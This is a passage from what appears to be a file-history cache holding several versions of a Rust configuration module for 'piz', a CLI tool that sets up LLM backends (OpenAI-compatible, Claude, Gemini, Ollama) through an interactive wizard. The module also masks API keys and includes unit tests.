collect_ollama_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Return a stable identifier for the active backend+model combination.\n/// Used as part of the cache key so switching models auto-invalidates stale entries.\npub fn active_model_id(config: &Config, backend_override: Option<&str>) -> String {\n let backend = backend_override.unwrap_or(&config.default_backend);\n let model = match backend {\n \"openai\" => config.openai.as_ref().map(|c| c.model.as_str()),\n \"claude\" => config.claude.as_ref().map(|c| c.model.as_str()),\n \"gemini\" => config.gemini.as_ref().map(|c| c.model.as_str()),\n \"ollama\" => config.ollama.as_ref().map(|c| c.model.as_str()),\n _ => None,\n };\n format!(\"{}:{}\", backend, model.unwrap_or(\"default\"))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 48);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn show_explanation_default_false() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_true() {\n let cfg = parse_config(\"show_explanation = true\").unwrap();\n assert!(cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_missing_defaults_false() {\n let toml = r#\"\ndefault_backend = \"openai\"\nauto_confirm_safe = true\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n\n // ── Backend-specific config parsing ──\n\n #[test]\n fn parse_claude_config_standalone() {\n let toml = r#\"\ndefault_backend = \"claude\"\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.claude.is_some());\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n assert_eq!(claude.model, \"claude-sonnet-4-20250514\");\n assert!(claude.base_url.is_none());\n }\n\n #[test]\n fn parse_claude_config_with_base_url() {\n let toml = r#\"\n[claude]\napi_key = \"sk-test\"\nbase_url = \"https://my-proxy.com\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.base_url.as_deref(), Some(\"https://my-proxy.com\"));\n }\n\n #[test]\n fn parse_gemini_config_standalone() {\n let toml = r#\"\ndefault_backend = \"gemini\"\n[gemini]\napi_key = \"AIza-test\"\nmodel = \"gemini-2.5-flash\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.gemini.is_some());\n let gemini = cfg.gemini.unwrap();\n assert_eq!(gemini.api_key, \"AIza-test\");\n assert_eq!(gemini.model, \"gemini-2.5-flash\");\n }\n\n #[test]\n fn parse_ollama_config_defaults() {\n let toml = r#\"\n[ollama]\n\"#;\n let cfg = parse_config(toml).unwrap();\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n // ── Default values ──\n\n #[test]\n fn cache_ttl_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_ttl_hours, 48);\n }\n\n #[test]\n fn cache_max_entries_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_max_entries, 1000);\n }\n\n #[test]\n fn chat_history_size_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.chat_history_size, 20);\n }\n\n #[test]\n fn auto_confirm_safe_default() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.auto_confirm_safe);\n }\n\n #[test]\n fn language_default_zh() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.language, \"zh\");\n }\n\n #[test]\n fn language_custom() {\n let cfg = parse_config(\"language = \\\"en\\\"\").unwrap();\n assert_eq!(cfg.language, \"en\");\n }\n\n #[test]\n fn default_backend_openai() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n }\n\n // ── mask_api_key edge cases ──\n\n #[test]\n fn mask_api_key_empty() {\n // empty string → 0 * chars\n assert_eq!(mask_api_key(\"\"), \"\");\n }\n\n #[test]\n fn mask_api_key_single_char() {\n // <=8 chars → repeat '*' for each char\n assert_eq!(mask_api_key(\"a\"), \"*\");\n }\n}\n"}, "8a6b06e5122683d818d015494bf49ab55f65e8f7": {"t": 1785760762.3997986, "n": 20843, "h": "2041e0f168d0a867", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default)]\n pub show_explanation: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option,\n pub claude: Option,\n pub gemini: Option,\n pub ollama: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn show_explanation_default_false() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_true() {\n let cfg = parse_config(\"show_explanation = true\").unwrap();\n assert!(cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_missing_defaults_false() {\n let toml = r#\"\ndefault_backend = \"openai\"\nauto_confirm_safe = true\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n\n // ── Backend-specific config parsing ──\n\n #[test]\n fn parse_claude_config_standalone() {\n let toml = r#\"\ndefault_backend = \"claude\"\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.claude.is_some());\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n assert_eq!(claude.model, \"claude-sonnet-4-20250514\");\n assert!(claude.base_url.is_none());\n }\n\n #[test]\n fn parse_claude_config_with_base_url() {\n let toml = r#\"\n[claude]\napi_key = \"sk-test\"\nbase_url = \"https://my-proxy.com\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.base_url.as_deref(), Some(\"https://my-proxy.com\"));\n }\n\n #[test]\n fn parse_gemini_config_standalone() {\n let toml = r#\"\ndefault_backend = \"gemini\"\n[gemini]\napi_key = \"AIza-test\"\nmodel = \"gemini-2.5-flash\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.gemini.is_some());\n let gemini = cfg.gemini.unwrap();\n assert_eq!(gemini.api_key, \"AIza-test\");\n assert_eq!(gemini.model, \"gemini-2.5-flash\");\n }\n\n #[test]\n fn parse_ollama_config_defaults() {\n let toml = r#\"\n[ollama]\n\"#;\n let cfg = parse_config(toml).unwrap();\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n // ── Default values ──\n\n #[test]\n fn cache_ttl_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_ttl_hours, 168);\n }\n\n #[test]\n fn cache_max_entries_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_max_entries, 1000);\n }\n\n #[test]\n fn chat_history_size_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.chat_history_size, 20);\n }\n\n #[test]\n fn auto_confirm_safe_default() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.auto_confirm_safe);\n }\n\n #[test]\n fn language_default_zh() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.language, \"zh\");\n }\n\n #[test]\n fn language_custom() {\n let cfg = parse_config(\"language = \\\"en\\\"\").unwrap();\n assert_eq!(cfg.language, \"en\");\n }\n\n #[test]\n fn default_backend_openai() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n }\n\n // ── mask_api_key edge cases ──\n\n #[test]\n fn mask_api_key_empty() {\n // empty string → 0 * chars\n assert_eq!(mask_api_key(\"\"), \"\");\n }\n\n #[test]\n fn mask_api_key_single_char() {\n // <=8 chars → repeat '*' for each char\n assert_eq!(mask_api_key(\"a\"), \"*\");\n }\n}\n"}, "73c4934d71b72f3e4942290b49c28d5235875253": {"t": 1785760763.805515, "n": 17965, "h": "bd43d7ce989d3783", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default)]\n pub show_explanation: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option,\n pub claude: Option,\n pub gemini: Option,\n pub ollama: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn 